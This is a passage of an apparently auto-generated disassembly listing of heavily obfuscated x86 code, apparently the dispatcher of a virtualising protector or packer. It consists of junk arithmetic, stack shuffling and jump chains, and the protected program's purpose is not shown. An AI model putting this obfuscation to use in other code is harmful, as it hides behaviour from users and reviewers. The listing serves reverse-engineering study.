		pop	eax
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_575069
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 2F1378A3h
		sub	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_572FA5
; ---------------------------------------------------------------------------


loc_57B467:				; CODE XREF: ud2_____:005721ACj
		push	4D8Ch
		mov	[esp], ebx
		jmp	loc_577089
; ---------------------------------------------------------------------------


loc_57B474:				; CODE XREF: ud2_____:0057B812j
		push	ebp
		mov	ebp, 4D5865E6h
		mov	ecx, 5074C106h
		sub	ecx, 429A6372h
		sub	ecx, 44C86D07h
		jmp	loc_578123
; ---------------------------------------------------------------------------


loc_57B490:				; CODE XREF: ud2_____:0057678Dj
		mov	ebp, 27954522h
		jmp	loc_571CC9
; ---------------------------------------------------------------------------


loc_57B49A:				; CODE XREF: ud2_____:0057D585j
		add	edi, esi
		jmp	loc_57D8C8
; ---------------------------------------------------------------------------


loc_57B4A1:				; CODE XREF: ud2_____:00577304j
		mov	cl, 0B8h
		jmp	loc_573ACA
; ---------------------------------------------------------------------------


loc_57B4A8:				; CODE XREF: ud2_____:005782BDj
		add	esp, 4
		jmp	loc_575EF5
; ---------------------------------------------------------------------------


loc_57B4B0:				; CODE XREF: ud2_____:00577C8Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_5777B1
; ---------------------------------------------------------------------------


loc_57B4CA:				; CODE XREF: ud2_____:00578959j
		push	ax
		mov	ah, 83h
		and	bl, ah
		pop	ax
		sub	bl, 0B7h
		xor	bl, 15h
		jmp	loc_57B9EF
; ---------------------------------------------------------------------------
		lodsw
		push	ebp
		mov	ebp, esp
		jmp	loc_5770C4
; ---------------------------------------------------------------------------


loc_57B4E7:				; CODE XREF: ud2_____:00577E1Ej
		mov	di, bx
		pop	ebx
		sub	bp, di
		pop	di
		add	ax, bp
		push	dword ptr [esp]
		pop	ebp
		push	533Eh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_576DA8
; ---------------------------------------------------------------------------


loc_57B513:				; CODE XREF: ud2_____:00576516j
		mov	edi, ebx
		pop	ebx
		jmp	loc_5751E0
; ---------------------------------------------------------------------------


loc_57B51B:				; CODE XREF: ud2_____:00578570j
		xor	ebp, [esp]
		jmp	loc_57799A
; ---------------------------------------------------------------------------


loc_57B523:				; CODE XREF: ud2_____:0057ADB9j
		pop	ecx
		jmp	loc_57A82A
; ---------------------------------------------------------------------------


loc_57B529:				; CODE XREF: ud2_____:00576CCAj
		add	ebp, 2A056090h
		jmp	loc_5770FD
; ---------------------------------------------------------------------------


loc_57B534:				; CODE XREF: ud2_____:00576B5Dj
		sub	al, 86h
		sub	al, bl
		jmp	loc_579273
; ---------------------------------------------------------------------------


loc_57B53D:				; CODE XREF: ud2_____:0057A7F7j
		pop	ecx
		dec	edx
		push	edx
		dec	dword ptr [esp]
		pop	edx
		or	edx, 44CD2DBAh
		push	edi
		jmp	loc_577BC5
; ---------------------------------------------------------------------------


loc_57B550:				; CODE XREF: ud2_____:0057292Dj
		pop	esp
		push	esi
		jmp	loc_57AA36
; ---------------------------------------------------------------------------


loc_57B557:				; CODE XREF: ud2_____:0057A336j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_57254F
; ---------------------------------------------------------------------------


loc_57B56B:				; CODE XREF: ud2_____:0057C09Bj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 45E77F09h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		jmp	loc_57D4F6
; ---------------------------------------------------------------------------


loc_57B57F:				; CODE XREF: ud2_____:00573F92j
		mov	eax, 7E04024h
		shl	eax, 1
		shl	eax, 3
		jmp	loc_57960E
; ---------------------------------------------------------------------------


loc_57B58E:				; CODE XREF: ud2_____:00574763j
		mov	[esp], edx
		mov	edx, 1Ch
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		mov	edi, 1B1860D7h
		neg	edi
		add	edi, 72E5D14Fh
		mov	ecx, edi
		pop	edi
		or	ecx, 9CA39E7h
		add	ecx, 3B545F22h
		sub	ecx, 1F09B4A2h
		add	edx, ecx
		pop	ecx
		add	edx, edi
		sub	edx, 7C1A247Fh
		mov	ecx, [edx]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_5744D0
; ---------------------------------------------------------------------------


loc_57B5ED:				; CODE XREF: ud2_____:00573988j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B5F2:				; CODE XREF: ud2_____:0057C21Bj
		add	al, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_579FE7
; ---------------------------------------------------------------------------


loc_57B5FD:				; CODE XREF: ud2_____:00573E52j
		bts	[esp], ax
		pushf
		jmp	loc_573668
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		jmp	loc_5739AC
; ---------------------------------------------------------------------------


loc_57B60F:				; CODE XREF: ud2_____:00579F2Ej
		push	ebp
		mov	ebp, 0F0FD4802h
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_57B7C8
; ---------------------------------------------------------------------------


loc_57B624:				; CODE XREF: ud2_____:00577BA9j
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_57D917
; ---------------------------------------------------------------------------


loc_57B639:				; CODE XREF: ud2_____:00578BBBj
		sub	esi, eax
		pop	eax
		jmp	loc_57C5AC
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5797EA
; ---------------------------------------------------------------------------


loc_57B649:				; CODE XREF: ud2_____:005765BEj
		sub	eax, 12727E2Dh
		jmp	loc_57A5EB
; ---------------------------------------------------------------------------


loc_57B653:				; CODE XREF: ud2_____:005724A2j
		neg	esi
		add	esi, 772B7BC1h
		jmp	loc_57CE92
; ---------------------------------------------------------------------------


loc_57B660:				; CODE XREF: ud2_____:0057782Ej
		dec	ebx
		or	ebx, 31D12B35h
		sub	ebx, 62E90222h
		dec	ebx
		jmp	loc_5747C4
; ---------------------------------------------------------------------------


loc_57B673:				; CODE XREF: ud2_____:0057B2C6j
		mov	[esp], cx
		push	ebx
		push	eax
		mov	al, 0BBh
		neg	al
		push	edx
		jmp	loc_572292
; ---------------------------------------------------------------------------


loc_57B683:				; CODE XREF: ud2_____:00579DC8j
		shl	edi, 2
		jmp	loc_571D0C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_579966
; ---------------------------------------------------------------------------


loc_57B69A:				; CODE XREF: ud2_____:0057BC32j
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B6B0:				; CODE XREF: ud2_____:0057628Cj
		push	7E1Ch
		mov	[esp], ecx
		push	7291h
		push	esp
		jmp	loc_579791
; ---------------------------------------------------------------------------


loc_57B6C3:				; CODE XREF: ud2_____:005773D8j
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		push	esp
		jmp	loc_577EBB
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B6DB:				; CODE XREF: ud2_____:0057AA31j
		xor	ebx, ecx
		jmp	loc_579A9B
; ---------------------------------------------------------------------------


loc_57B6E2:				; CODE XREF: ud2_____:0057D993j
		shl	bl, 5
		not	bl
		and	bl, 44h
		push	edx
		mov	dh, 65h
		inc	dh
		not	dh
		or	dh, 48h
		sub	dh, 20h
		jmp	loc_576BC8
; ---------------------------------------------------------------------------


loc_57B6FC:				; CODE XREF: ud2_____:0057B1B6j
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 5A093E3Fh
		jmp	loc_575F54
; ---------------------------------------------------------------------------


loc_57B70D:				; CODE XREF: ud2_____:0057458Aj
		xchg	edx, ebx
		sub	ebx, 59EB3EAEh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_57CF7D
; ---------------------------------------------------------------------------


loc_57B71D:				; CODE XREF: ud2_____:0057462Fj
		add	edx, 4
		jmp	loc_576950
; ---------------------------------------------------------------------------


loc_57B728:				; CODE XREF: ud2_____:0057A482j
		add	edi, ebx
		pop	ebx
		push	4536h
		mov	[esp], edi
		jmp	loc_577A71
; ---------------------------------------------------------------------------


loc_57B738:				; CODE XREF: ud2_____:0057A731j
		add	esp, 4
		add	ebx, eax
		push	ecx
		mov	ecx, 4E270382h
		shr	ecx, 3
		jmp	loc_576606
; ---------------------------------------------------------------------------


loc_57B74B:				; CODE XREF: ud2_____:0057DCA2j
		xor	eax, 66C05C38h
		mov	edx, eax
		pop	eax
		not	edx
		jmp	loc_57D81B
; ---------------------------------------------------------------------------


loc_57B75A:				; CODE XREF: ud2_____:0057B2B6j
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	ecx
		push	18A3276Fh
		pop	ecx
		sub	ecx, 1
		add	ecx, 37E11FB4h
		sub	ecx, 47FC23ADh
		sub	esp, 4
		mov	[esp], ecx
		add	dword ptr [esp], 57EE7A85h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 57EE7A85h
		pop	ecx
		xor	esi, 1A3B0394h
		xor	esi, 4EDE7B4Dh
		xor	ecx, esi
		pop	esi
		push	esi
		mov	esi, 26017172h
		and	esi, 6F094D75h
		jmp	loc_574AA1
; ---------------------------------------------------------------------------


loc_57B7C8:				; CODE XREF: ud2_____:0057B61Fj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_575F8D
; ---------------------------------------------------------------------------


loc_57B7D3:				; CODE XREF: ud2_____:00576E7Aj
		add	esp, 4
		jmp	loc_575DE7
; ---------------------------------------------------------------------------


loc_57B7DB:				; CODE XREF: ud2_____:005799DAj
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		push	7463h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57BF92
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57B474
; ---------------------------------------------------------------------------


loc_57B817:				; CODE XREF: ud2_____:0057BA71j
		inc	ebp
		push	ebp
		jmp	loc_57AA89
; ---------------------------------------------------------------------------


loc_57B81E:				; CODE XREF: ud2_____:00574A23j
		add	eax, 2F8E5CC5h
		sub	eax, 7A662DFh
		sub	eax, 83A707B9h
		add	ebx, eax
		pop	eax
		push	ecx
		jmp	loc_573771
; ---------------------------------------------------------------------------


loc_57B836:				; CODE XREF: ud2_____:005764B6j
		mov	eax, 4D2D6CA9h
		push	eax
		pop	edi
		jmp	loc_577479
; ---------------------------------------------------------------------------


loc_57B842:				; CODE XREF: ud2_____:00573B69j
		and	ebp, 73126463h
		xor	ebp, 26991548h
		push	edi
		mov	edi, 7AFF24A0h
		or	edi, 5D5E67CEh
		shr	edi, 5
		neg	edi
		push	edx
		jmp	loc_5760C1
; ---------------------------------------------------------------------------


loc_57B865:				; CODE XREF: ud2_____:00579A6Bj
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_577948
; ---------------------------------------------------------------------------


loc_57B870:				; CODE XREF: ud2_____:00576F2Bj
		xor	dh, 3Eh
		add	al, dh
		jmp	loc_57A78B
; ---------------------------------------------------------------------------


loc_57B87A:				; CODE XREF: ud2_____:00577A6Cj
		pop	ebx
		push	eax
		mov	eax, 4
		add	edi, 110413A1h
		add	edi, eax
		sub	edi, 110413A1h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5FA6h
		mov	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B8A3:				; CODE XREF: ud2_____:0057442Ej
		mov	edx, 74A86345h
		sub	edx, 74A86341h
		add	esi, edx
		pop	edx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		add	ebx, 52C53EFAh
		add	ebx, edi
		sub	ebx, 52C53EFAh
		xor	[ebx], edx
		pop	ebx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5788E3
; ---------------------------------------------------------------------------


loc_57B90A:				; CODE XREF: ud2_____:0057310Dj
		add	esp, 4
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_574BAD
; ---------------------------------------------------------------------------


loc_57B925:				; CODE XREF: ud2_____:0057C431j
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57B931:				; CODE XREF: ud2_____:0057CF1Bj
		add	eax, ecx
		pop	ecx
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_57BD85
; ---------------------------------------------------------------------------


loc_57B942:				; CODE XREF: ud2_____:0057866Fj
		xor	ch, 0E3h
		xor	ch, 57h
		sub	al, ch
		pop	ecx
		jmp	loc_57D7FE
; ---------------------------------------------------------------------------


loc_57B950:				; CODE XREF: ud2_____:005740A5j
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, edi
		pop	edi
		push	0
		sub	[esp], eax
		pop	eax
		sub	eax, 9DB4EDA8h
		jmp	loc_57223F
; ---------------------------------------------------------------------------


loc_57B96E:				; CODE XREF: ud2_____:00575D8Aj
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_578629
; ---------------------------------------------------------------------------


loc_57B97E:				; CODE XREF: ud2_____:00577FD8j
		push	ecx
		jmp	loc_5768B9
; ---------------------------------------------------------------------------


loc_57B984:				; CODE XREF: ud2_____:00579E84j
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 14AC6D62h
		sub	dword ptr [esp+4], 46CE5E9Fh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 46CE5E9Fh
		add	dword ptr [esp+4], 14AC6D62h
		push	dword ptr [esp]
		jmp	loc_576657
; ---------------------------------------------------------------------------


loc_57B9B6:				; CODE XREF: ud2_____:00573901j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_57D104
; ---------------------------------------------------------------------------


loc_57B9CD:				; CODE XREF: ud2_____:00573C1Aj
		add	esp, 4
		jmp	loc_57C7EE
; ---------------------------------------------------------------------------


loc_57B9D8:				; CODE XREF: ud2_____:0057C2A4j
		push	edi
		push	eax
		mov	eax, 4
		jmp	loc_57DC55
; ---------------------------------------------------------------------------


loc_57B9E4:				; CODE XREF: ud2_____:0057205Aj
		push	esi
		mov	esi, eax
		sub	esp, 4
		jmp	loc_57A394
; ---------------------------------------------------------------------------


loc_57B9EF:				; CODE XREF: ud2_____:0057B4D8j
		push	eax
		mov	ah, 5Dh
		sub	ah, 8Ah
		jmp	loc_5773AE
; ---------------------------------------------------------------------------


loc_57B9FA:				; CODE XREF: ud2_____:00576EFAj
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5781C4
; ---------------------------------------------------------------------------


loc_57BA0E:				; CODE XREF: ud2_____:00579A9Dj
		not	ebx
		xchg	ebx, ecx
		inc	ecx
		push	eax
		mov	eax, 7ACC3609h
		inc	eax
		sub	eax, 31082C2Bh
		sub	ecx, eax
		pop	eax
		sub	edi, 606C41CEh
		sub	edi, ecx
		add	edi, 606C41CEh
		pop	ecx
		jmp	locret_57C406
; ---------------------------------------------------------------------------


loc_57BA36:				; CODE XREF: ud2_____:00578938j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57BA3B:				; CODE XREF: ud2_____:005772F6j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_57CBD9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_576AD0
; ---------------------------------------------------------------------------


loc_57BA61:				; CODE XREF: ud2_____:0057D209j
		mov	ebp, 4166325h
		shr	ebp, 1
		shr	ebp, 6
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_57B817
; ---------------------------------------------------------------------------


loc_57BA76:				; CODE XREF: ud2_____:005741ACj
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, 566E1F2Bh
		sub	esi, 7D027149h
		not	esi
		add	esi, 510DCC74h
		xor	ebp, esi
		pop	esi
		add	eax, 79767C12h
		add	eax, ebp
		sub	eax, 79767C12h
		jmp	loc_57C398
; ---------------------------------------------------------------------------


loc_57BAA3:				; CODE XREF: ud2_____:0057BD53j
		mov	ecx, 0D5DC5AFCh
		sub	edi, ecx
		jmp	loc_577267
; ---------------------------------------------------------------------------


loc_57BAAF:				; CODE XREF: ud2_____:00578512j
		add	ah, 0A2h
		add	bl, ah
		pop	eax
		add	bl, cl
		sub	bl, 42h
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_572490
; ---------------------------------------------------------------------------


loc_57BACA:				; CODE XREF: ud2_____:00571EE7j
		push	0D20h
		mov	[esp], edx
		jmp	loc_57AC53
; ---------------------------------------------------------------------------


loc_57BAD7:				; CODE XREF: ud2_____:0057504Aj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	6097h
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5740AA
; ---------------------------------------------------------------------------


loc_57BB09:				; CODE XREF: ud2_____:00575318j
		pop	edx
		jmp	loc_576B40
; ---------------------------------------------------------------------------


loc_57BB0F:				; CODE XREF: ud2_____:0057AD12j
		push	38DEh
		mov	[esp], edi
		mov	edi, 157B43C2h
		jmp	loc_57C707
; ---------------------------------------------------------------------------


loc_57BB21:				; CODE XREF: ud2_____:0057998Bj
		add	al, 61h
		and	cl, al
		pop	eax
		push	eax
		mov	al, 1
		sub	cl, al
		pop	eax
		dec	cl
		jmp	loc_57D695
; ---------------------------------------------------------------------------


loc_57BB33:				; CODE XREF: ud2_____:005780D6j
		add	esi, edi
		jmp	loc_57961B
; ---------------------------------------------------------------------------


loc_57BB3A:				; CODE XREF: ud2_____:0057CE54j
		add	ebx, 5A7E2901h
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6ABFh
		mov	[esp], ebx
		jmp	loc_572626
; ---------------------------------------------------------------------------


loc_57BB5F:				; CODE XREF: ud2_____:0057C8FEj
		shl	edi, 3
		add	edi, 4DD55BD8h
		xor	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 179B06ADh
		xor	ecx, 28AF5FDBh
		sub	ecx, 0D9BE4486h
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		add	eax, 657614F0h
		sub	eax, 4A9A5F06h
		push	ebx
		mov	ebx, 50050A96h
		sub	eax, ebx
		pop	ebx
		pop	ecx
		push	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_577D01
; ---------------------------------------------------------------------------


loc_57BBB1:				; CODE XREF: ud2_____:0057AAB0j
		mov	[esp], eax
		jmp	loc_574F50
; ---------------------------------------------------------------------------


loc_57BBB9:				; CODE XREF: ud2_____:005736A5j
		mov	[esp], ecx
		mov	cx, 44A3h
		push	di
		mov	di, 85Fh
		xor	cx, di
		pop	di
		push	ebx
		push	edx
		mov	dx, 3DD4h
		mov	bx, dx
		pop	edx
		shr	bx, 2
		add	bx, 1
		inc	bx
		jmp	loc_578BD4
; ---------------------------------------------------------------------------


loc_57BBE5:				; CODE XREF: ud2_____:00579148j
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	eax
		push	esp
		jmp	loc_57848B
; ---------------------------------------------------------------------------


loc_57BBF5:				; CODE XREF: ud2_____:00577DBDj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_574CDD
; ---------------------------------------------------------------------------


loc_57BC04:				; CODE XREF: ud2_____:00573B57j
		add	eax, 7F873AB5h
		jmp	loc_57DD4D
; ---------------------------------------------------------------------------


loc_57BC0E:				; CODE XREF: ud2_____:0057A1CFj
		pop	ecx
		jmp	loc_574C96
; ---------------------------------------------------------------------------


loc_57BC14:				; CODE XREF: ud2_____:005739F0j
		pop	edi
		and	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_57778E
; ---------------------------------------------------------------------------


loc_57BC22:				; CODE XREF: ud2_____:00573A42j
		add	eax, 89BDC568h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57B69A
; ---------------------------------------------------------------------------


loc_57BC37:				; CODE XREF: ud2_____:00577879j
		add	esp, 4
		add	bl, 0DCh
		sub	bl, al
		jmp	loc_57BDC3
; ---------------------------------------------------------------------------


loc_57BC44:				; CODE XREF: ud2_____:0057CA54j
		push	ebx
		mov	bl, 2Ch
		or	bl, 30h
		or	bl, 0A6h
		jmp	loc_576BE0
; ---------------------------------------------------------------------------


loc_57BC52:				; CODE XREF: ud2_____:0057D2CEj
		add	eax, 4
		jmp	loc_574DB7
; ---------------------------------------------------------------------------


loc_57BC5C:				; CODE XREF: ud2_____:0057970Aj
		mov	edx, 0EB4C05DFh
		xor	ebx, edx
		pop	edx
		xor	esi, ebx
		pop	ebx
		and	esi, 591A1F0Ch
		push	edx
		mov	edx, 71DE3E44h
		inc	edx
		jmp	loc_576FFA
; ---------------------------------------------------------------------------


loc_57BC79:				; CODE XREF: ud2_____:00572A93j
		mov	edi, 0D2F06C1h
		dec	edi
		sub	edi, 9F6AD751h
		xor	ebp, edi
		pop	edi
		jmp	loc_571FF2
; ---------------------------------------------------------------------------


loc_57BC8D:				; CODE XREF: ud2_____:00572B2Dj
		mov	ecx, 0CE178119h
		add	ecx, 624E440Ah
		add	ecx, edx
		jmp	loc_576D9D
; ---------------------------------------------------------------------------


loc_57BC9F:				; CODE XREF: ud2_____:00579E8Aj
		mov	edx, 3F2022BBh
		add	edi, 575F5D94h
		add	edi, edx
		sub	edi, 575F5D94h
		pop	edx
		pop	ebx
		jmp	loc_577B71
; ---------------------------------------------------------------------------


loc_57BCB9:				; CODE XREF: ud2_____:0057A427j
		sub	dword ptr [esp+4], 4C6547AFh
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_572F75
; ---------------------------------------------------------------------------


loc_57BCCA:				; CODE XREF: ud2_____:0057C806j
		sub	ebx, 175A5B1Eh
		sub	ebx, 9ACF229Eh
		sub	esi, ebx
		pop	ebx
		add	esi, edi
		add	esi, 4A943963h
		pop	edi
		jmp	loc_57907E
; ---------------------------------------------------------------------------


loc_57BCE7:				; CODE XREF: ud2_____:00575F23j
		add	eax, ebx
		sub	eax, 702C45D8h
		add	eax, 74F0560Eh
		push	5CC4h
		jmp	loc_579DCD
; ---------------------------------------------------------------------------


loc_57BCFD:				; CODE XREF: ud2_____:00575F41j
		xor	edx, 2D2B4ED4h
		add	ecx, edx
		jmp	loc_577C91
; ---------------------------------------------------------------------------


loc_57BD0A:				; CODE XREF: ud2_____:00577901j
		mov	eax, 19732A36h
		jmp	loc_579CB3
; ---------------------------------------------------------------------------


loc_57BD14:				; CODE XREF: ud2_____:0057BFD8j
		add	eax, 4
		push	edi
		jmp	loc_573F24
; ---------------------------------------------------------------------------


loc_57BD1F:				; CODE XREF: ud2_____:0057CB5Dj
		mov	ecx, edi
		pop	edi
		jmp	loc_578E6C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6A0Bh
		mov	[esp], edx
		push	6CE0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 1CED141Eh
		shr	edi, 6
		sub	edi, 2A975950h
		push	ecx
		jmp	loc_57BAA3
; ---------------------------------------------------------------------------


loc_57BD58:				; CODE XREF: ud2_____:0057AC71j
		push	eax
		not	dword ptr [esp]
		jmp	loc_57A086
; ---------------------------------------------------------------------------


loc_57BD61:				; CODE XREF: ud2_____:00573EFAj
		mov	[esp], ecx
		jmp	loc_57CC17
; ---------------------------------------------------------------------------


loc_57BD69:				; CODE XREF: ud2_____:00579BA7j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57BD6E:				; CODE XREF: ud2_____:00571E2Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_576E64
; ---------------------------------------------------------------------------


loc_57BD79:				; CODE XREF: ud2_____:0057D972j
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xchg	eax, ebp
		jmp	loc_578316
; ---------------------------------------------------------------------------


loc_57BD85:				; CODE XREF: ud2_____:0057B93Dj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_573BDF
; ---------------------------------------------------------------------------


loc_57BD90:				; CODE XREF: ud2_____:00572E85j
		add	ecx, 4
		jmp	loc_579401
; ---------------------------------------------------------------------------


loc_57BD98:				; CODE XREF: ud2_____:0057A994j
		push	4C84h
		mov	[esp], esp
		push	5BC6h
		mov	[esp], ebp
		jmp	loc_5735D8
; ---------------------------------------------------------------------------


loc_57BDAD:				; CODE XREF: ud2_____:0057CF2Bj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_576582
; ---------------------------------------------------------------------------


loc_57BDC3:				; CODE XREF: ud2_____:0057BC3Fj
		sub	bl, 0DCh
		pop	eax
		xor	al, bl
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		push	30DCh
		mov	[esp], ebx
		mov	ebx, 616D5533h
		sub	ebx, 616D552Fh
		add	edi, ebx
		pop	ebx
		add	edi, 4
		jmp	loc_573645
; ---------------------------------------------------------------------------


loc_57BDF1:				; CODE XREF: ud2_____:00574BA2j
		xor	eax, 294E66A6h
		mov	[ecx], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebp
		mov	dword ptr [edi+24h], 418E3830h
		push	edx
		mov	edx, 18966A8Ch
		xor	edx, 31140DD0h
		shl	edx, 2
		inc	edx
		jmp	loc_573FFE
; ---------------------------------------------------------------------------


loc_57BE1D:				; CODE XREF: ud2_____:00578FE8j
		mov	edi, 318620E9h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	edx, 8
		and	edx, 0C553EB1h
		add	edx, 0FBFBD41Ch
		jmp	loc_578AE2
; ---------------------------------------------------------------------------


loc_57BE41:				; CODE XREF: ud2_____:0057D69Fj
		pop	ecx
		add	esp, 4
		sub	al, bl
		sub	al, 8Eh
		add	al, 43h
		jmp	loc_575A90
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_57663D
; ---------------------------------------------------------------------------


loc_57BE5C:				; CODE XREF: ud2_____:00573CE1j
		not	ebp
		not	ebp
		inc	ebp
		add	ebp, 9EE00E50h
		mov	esi, ebp
		pop	ebp
		xchg	ebp, esi
		neg	ebp
		jmp	loc_57413B
; ---------------------------------------------------------------------------


loc_57BE73:				; CODE XREF: ud2_____:0057663Ej
		push	57B769ECh
		pop	eax
		not	eax
		push	esi
		mov	esi, 4CB32492h
		or	esi, 68347C5h
		xor	esi, 82000CBh
		jmp	loc_575F93
; ---------------------------------------------------------------------------


loc_57BE92:				; CODE XREF: ud2_____:0057D816j
		push	23F2h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_57C677
; ---------------------------------------------------------------------------


loc_57BEB2:				; CODE XREF: ud2_____:005776CCj
		pop	ecx
		jmp	loc_57369B
; ---------------------------------------------------------------------------


loc_57BEB8:				; CODE XREF: ud2_____:00572827j
		mov	dh, 3Eh
		sub	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	dh, 0C3h
		sub	dh, bh
		add	dh, 0C3h
		jmp	loc_57CA59
; ---------------------------------------------------------------------------


loc_57BECF:				; CODE XREF: ud2_____:0057786Aj
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57BED8:				; CODE XREF: ud2_____:00572737j
		pop	eax
		push	4D77h
		jmp	loc_57A443
; ---------------------------------------------------------------------------


loc_57BEE3:				; CODE XREF: ud2_____:00575E01j
		xor	edi, 0BBE5DC5h
		jmp	loc_572B32
; ---------------------------------------------------------------------------


loc_57BEEE:				; CODE XREF: ud2_____:0057AC24j
		mov	edi, 800000h
		jmp	loc_57CC09
; ---------------------------------------------------------------------------


